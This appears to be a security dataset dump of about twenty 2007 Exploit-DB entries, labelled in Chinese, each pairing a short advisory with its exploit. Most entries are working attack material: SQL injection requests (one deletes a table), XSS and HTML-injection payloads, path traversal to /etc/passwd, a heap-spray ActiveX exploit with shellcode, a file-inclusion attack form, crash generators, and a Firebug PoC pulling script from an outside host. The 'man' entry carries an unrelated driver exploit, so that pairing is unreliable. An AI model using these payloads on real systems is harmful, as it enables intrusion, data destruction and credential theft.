QLWD/code_shield huggingface dataset:
标题: DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection EDB-ID: 29833 CVE: 2007-1363 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/23400/info
  
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
These issues affect DropAFew 0.2; prior versions may also be affected.

wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php URL: https://www.exploit-db.com/exploits/29833
标题: DotClear 1.2.x - '/ecrire/trackback.php?post_id' Cross-Site Scripting EDB-ID: 29838 CVE: 2007-1989 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23411/info

DotClear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to 1.2.6 are vulnerable. 

http://www.example.com/dotclear/ecrire/trackback.php?post_id=[XSS] URL: https://www.exploit-db.com/exploits/29838
标题: Cosign 2.0.1/2.9.4a - CGI Check Cookie Command Remote Authentication Bypass EDB-ID: 29842 CVE: 2007-2232 类型: WEBAPPS 平台: CGI 发布日期: 2007-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23422/info

The 'cosign' application is prone to an authentication-bypass vulnerability because it fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to gain unauthorized access to services hosted on an affected computer.

Versions prior to 1.9.4b and 2.0.2a are vulnerable. 

cosign=X\rLOGIN cosign=X 1.2.3.4 username\rREGISTER cosign=X 1.2.3.4 cosign-servicename=Y URL: https://www.exploit-db.com/exploits/29842
标题: DropAFew 0.2 - 'search.php?delete Action id' SQL Injection EDB-ID: 29832 CVE: 2007-1363 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/23400/info
 
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
These issues affect DropAFew 0.2; prior versions may also be affected.
 
# delete foodfacts table
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php URL: https://www.exploit-db.com/exploits/29832
标题: PHPFaber TopSites 3 - 'admin/index.php' Directory Traversal EDB-ID: 29841 CVE: 2007-2155 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23419/info

TopSites is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

This issue affects TopSites 3; other versions may also be vulnerable. 

http://www.example.com/Path/admin/index.php?page=template&modify=../../../../../../etc/passwd
http://www.example.com/Path/admin/index.php?page=template&modify=inc/config.ini.php URL: https://www.exploit-db.com/exploits/29841
标题: PHPwebnews 0.1 - 'bukutamu.php' Cross-Site Scripting EDB-ID: 29847 CVE: 2007-2300 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23448/info
  
The 'phpwebnews' package is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This issue affects phpwebnews 0.1; other versions may also be affected. 

http://www.example.com/[path]/bukutamu.php?m_txt=[xss] URL: https://www.exploit-db.com/exploits/29847
标题: MyNews 4.2.2 - 'Week_Events.php' Remote File Inclusion EDB-ID: 29830 CVE: 2007-2014 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/23398/info

MyNews is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

This issue affects MyNews 4.2.2 and prior versions. 

http://www.example.com/include/blocks/week_events.php?myNewsConf[path][sys][index]=[REMOTEFILE]? URL: https://www.exploit-db.com/exploits/29830
标题: DotClear 1.2.x - '/tools/thememng/index.php?tool_url' Cross-Site Scripting EDB-ID: 29839 CVE: 2007-1989 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23411/info
 
DotClear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to 1.2.6 are vulnerable. 

http://www.example.com/tools/thememng/index.php?tool_url=[XSS] URL: https://www.exploit-db.com/exploits/29839
标题: Roxio CinePlayer 3.2 - 'SonicDVDDashVRNav.dll' ActiveX Control Remote Buffer Overflow EDB-ID: 29840 CVE: 2007-1559 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23412/info

Roxio CinePlayer is prone to a stack-based buffer-overflow vulnerability because it fails to sufficiently check boundaries of user-supplied input before copying it to an insufficiently sized memory buffer.

A remote attacker may exploit this issue by enticing victims into opening a malicious HTML document.

Exploiting this issue allows the attacker to execute arbitrary code in the context of applications using the affected ActiveX control and to compromise affected computers. Failed attempts will likely result in denial-of-service conditions.

Roxio CinePlayer 3.2 is vulnerable; other versions may also be affected. 

<html> <head> <title>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</title> <br>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</br> <br>Advisory from secunia 22251</br> <br>By : Super-cristal</br> <br>Greetings: His0k4, snakespc.com</br> <br>Tested on Windows Xp Sp2 (en),with IE7</br> <object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='test'></object> <script language='javascript'> shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); nops=unescape('%u0c0c%u0c0c'); headersize =20; slackspace= headersize + shellcode.length; while( nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<262144) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode; buffer=''; for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c'); test.DiskType( buffer); </script> </head> </html> URL: https://www.exploit-db.com/exploits/29840
标题: DropAFew 0.2 - 'newaccount2.php' Arbitrary Account Creation EDB-ID: 29831 CVE: 2007-1364 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/23400/info

DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

These issues affect DropAFew 0.2; prior versions may also be affected. 

# create new user
wget --save-cookies cookies --keep-session-cookies --post-data='username=exploit&password=1&password_confirm=1' http://[target]/calorie/newaccount2.php URL: https://www.exploit-db.com/exploits/29831
标题: webMethods Glue 6.5.1 Console - Directory Traversal EDB-ID: 29843 CVE: 2007-2048 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23423/info

webMethods Glue is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable computer with the privileges of the affected application. Information obtained may aid in further attacks.

This issue affects webMethods Glue 6.5.1; other versions may also be vulnerable. 

http://www.example.com:8080/console?resource=../../../boot.ini
http://www.example.com:8080/console?resource=\boot.ini
http://www.example.com:8080/console?resource=c:\boot.ini URL: https://www.exploit-db.com/exploits/29843
标题: Livor 2.5 - 'index.php' Cross-Site Scripting EDB-ID: 29821 CVE: 2007-1919 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/23353/info

Livor is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Livor 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?page=[XSS] URL: https://www.exploit-db.com/exploits/29821
标题: Linux Kernel 2.6.x - AppleTalk ATalk_Sum_SKB Function Denial of Service EDB-ID: 29826 CVE: 2007-1357 类型: DOS 平台: LINUX 发布日期: 2007-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/23376/info

The Linux kernel is prone to a denial-of-service vulnerability. This issue presents itself when malformed AppleTalk frames are processed.

An attacker can exploit this issue to crash host computers, effectively denying service to legitimate users.

Versions prior to 2.6.20.5 are vulnerable. 

{
# Ethernet header -----

XX XX XX XX XX XX # Destination MAC
00 00 00 00 00 00 # Source MAC
00 1D # Length

# LLC header -----

AA AA 03
08 00 07 80 9B # Appletalk

# Appletalk header -----

00 1B # Packet length (invalid)
00 01 # Fake checksum
00 00 00 00 # Destination and source networks
00 00 00 00 # Destination and source nodes and ports

# Payload -----

0C 0D 0E 0F 10 11 12 13
14
} URL: https://www.exploit-db.com/exploits/29826
标题: UBBCentral UBB.Threads 6.1.1 - 'UBBThreads.php' SQL Injection EDB-ID: 29825 CVE: 2007-1956 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/23369/info

UBB.threads is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

UBB.threads 6.1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/ubbthreads.php?Cat=cat&C=' URL: https://www.exploit-db.com/exploits/29825
标题: eCardMAX HotEditor 4.0 - 'Keyboard.php' Local File Inclusion EDB-ID: 29827 CVE: 2007-1906 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/23377/info

eCardMAX HotEditor is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

HotEditor 4.0 is vulnerable; other versions may also be affected. This issue also affects versions that may be integrated into phpBB2, MyBB, Simple Machine Forum, and PunBB Forum.

<?php
/*
Vendor : Liz0ziM
Web    : www.expw0rm.com
Mail   : liz0@expw0rm.com
---------------------------------------
Vul. Code : keyboard.php line 3


        require_once "./vk_code/$first";
----------------------------------------
*/
?>

Hot Editor Local File &#304;nclude Exploit <a 
href="http://www.expw0rm.com">Expw0rm</a> By Liz0ziM<br>
<form method="POST">
Target Url: <input name="url" type="text"> example: 
http://victim.com/richedit/<br>
File :<input name="sec" type="text"> example : 
../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 
<br>
<input type=submit name="yolla" value="Send"><br>
<?
if(isset($_POST[yolla]))
{
$url=$_POST[url];
$sec=$_POST[sec];
$git=$url."/keyboard.php?first=".$sec;
$ac=fopen($git,"r") or die("acamadim");;

while(!feof($ac) )
{
$cek=fgets($ac,1024);
if(eregi("<html>",$cek)) { echo '<br>Finishim'; exit();}
echo '<pre>';
echo $cek;
echo '</pre>';
}
fclose($ac);
}
?> URL: https://www.exploit-db.com/exploits/29827
标题: DeskPro 2.0.1 - 'login.php' HTML Injection EDB-ID: 29828 CVE: 2007-2011 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/23381/info

DeskPRO is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

DeskPRO 2.0.1 is vulnerable to this issue. 

<html>
<head><title>DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability</title><body>

<center><br><br><font size=4>DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John
Martinelli</a></font><br>

<br><br>
<form action="http://target.com/login.php" method="post">
<input type=hidden name="login_form" value="login">
<input type=hidden name="_getvars" value="getvars">
<input type=hidden name="_postvars" value="postvars">
<input type=hidden name="_filevars" value="filevars">
<input type=hidden name="password" value="password">
<input type=hidden name="remember" value=0>
<input name="username" size=75 value="<"<<script>alert(1);</script>">
<input type=submit value="Execute XSS Attack" class="button">
</form>

</body></html> URL: https://www.exploit-db.com/exploits/29828
标题: Gazi Okul Sitesi 2007 - 'Fotokategori.asp' SQL Injection EDB-ID: 29817 CVE: 2007-1971 类型: WEBAPPS 平台: ASP 发布日期: 2007-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/23316/info

Gazi Okul Sitesi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

This issue affects Gazi Okul Sitesi 2007. 

http://www.example.com//fotokategori.asp?'%20union%20select%201,2,3,password,5,6,username,8%20from%20admin URL: https://www.exploit-db.com/exploits/29817
标题: QuizShock 1.6.1 - 'auth.php' HTML Injection EDB-ID: 29824 CVE: 2007-1905 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/23368/info

QuizShock is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

QuizShock 1.5.5 through 1.6.1 are vulnerable. 

http://www.example.com/upload/auth.php?ts_username=indoushka&forward_to=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>&fn=login&ts_password=hacked&remember=on URL: https://www.exploit-db.com/exploits/29824
标题: Man Command - -H Flag Local Buffer Overflow EDB-ID: 29822 CVE: 2006-4250 类型: LOCAL 平台: LINUX 发布日期: 2007-04-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/23355/info

The 'man' command is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

NOTE: Presumably, this issue is exploitable only when 'man' has been installed setuid.

Exploiting this issue allows attackers to execute malicious machine code with the privileges of the 'man' utility. This can result in the compromise of affected computers. Failed exploit attempts will likely result in denial-of-service conditions. 

PoC Code:
---------
/*
 * Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
 * Copyright (C) Daniel Roethlisberger <daniel.roethlisberger@csnc.ch>
 * Compass Security Network Computing AG, Rapperswil, Switzerland.
 * All rights reserved.
 * http://www.csnc.ch/
 */

#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<errno.h>

int main(int argc, char *argv[]) {
    int fd, i, n;
    char buf[8192];

    /*
     * 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  ...
     * 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
     */
    for (i = 0; i < sizeof(buf); i += 2) {
        buf[i]   = (char)(((i/2) & 0xFF00) >> 8);
        buf[i+1] = (char) ((i/2) & 0x00FF);
    }

    if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
        printf("Error: open() => %s\n", strerror(errno));
        exit(errno);
    }
    if ((n = write(fd, buf, sizeof(buf))) < 0) {
        printf("Error: write() => %s\n", strerror(errno));
        exit(errno);
    }
    printf("%d of %d bytes written\n", n, sizeof(buf));
    exit(0);
} URL: https://www.exploit-db.com/exploits/29822
标题: Einfacher Passworschutz - 'index.php' Cross-Site Scripting EDB-ID: 29829 CVE: 2007-2013 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/23395/info

Einfacher Passworschutz is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/?msg=[XSS] URL: https://www.exploit-db.com/exploits/29829
标题: PHP 5.2.1 'GD' Extension - '.WBMP' File Integer Overflow EDB-ID: 29823 CVE: 2007-1001 类型: DOS 平台: PHP 发布日期: 2007-04-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/23357/info

PHP's GD extension is prone to two integer-overflow vulnerabilities because it fails to ensure that integer values aren't overrun.

Successfully exploiting these issues allows attackers to crash the affected application, potentially denying service to legitimate users. Due to the nature of the issues, code execution may also be possible, but this has not been confirmed.

PHP 5.2.1 and prior versions are vulnerable. 

#define BUFSIZE 1000000

#include <stdio.h>

int main()
{
      int c;
      char buf[BUFSIZE];

      FILE *fp = fopen("test.wbmp","w");

      //write header
      c = 0;
      fputc(c,fp);
      fputc(c,fp);

      //write width = 2^32 / 4 + 1
      c = 0x84;
      fputc(c,fp);
      c = 0x80;
      fputc(c,fp);
      fputc(c,fp);
      fputc(c,fp);
      c = 0x01;
      fputc(c,fp);

      //write height = 4
      c = 0x04;
      fputc(c,fp);

      //write some data to cause overflow
      fwrite(buf,sizeof(buf),1,fp);

      fclose(fp);
} URL: https://www.exploit-db.com/exploits/29823
标题: Firebug 1.03 - Rep.JS Script Code Injection EDB-ID: 29820 CVE: 2007-1947 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/23349/info

Firebug is prone to a script-code-injection vulnerability because it fails to adequately escape user-supplied data.

An attacker can exploit this issue to execute arbitrary script code in the context of the application.

Versions prior to 1.04 are vulnerable. 

<html> <head> <title>Firebug console HTML injection</title> <style> noscript, .nofirebug{ color: red } </style> </head> <body> <h1>Firebug console HTML injection</h1> <script type="text/javascript"> // A function that returns a specially formatted string function vulnstring(){ return 'function <b style="font-size:80px">foo(<script src="http://larholm.com/vuln/firebuginclude.js"></'+'script>) { }'; } // The function object to log with Firebug var a = function(){}; // Overwrite the default toString method a.toString = vulnstring; // Attempt to trigger the vulnerability if Firebug is installed and has console logging enabled if(typeof console!="undefined" && typeof console.log=="function"){ console.log(a); document.write('<p>Check your Firebug console output. If it says Foo() in very large letters and you get an alert then you are vulnerable and should upgrade to Firebug v1.0.4 or greater.</p>'); } else { // Show error document.write('<p class="nofirebug">This proof of concept exploit requires Firebug to work</p>'); } </script> <noscript><p>This proof of concept exploit requires that Javascript is enabled.</p></noscript> <h3>Cheers, <a href="http://larholm.com/">Thor Larholm</a></h3> </body></html> URL: https://www.exploit-db.com/exploits/29820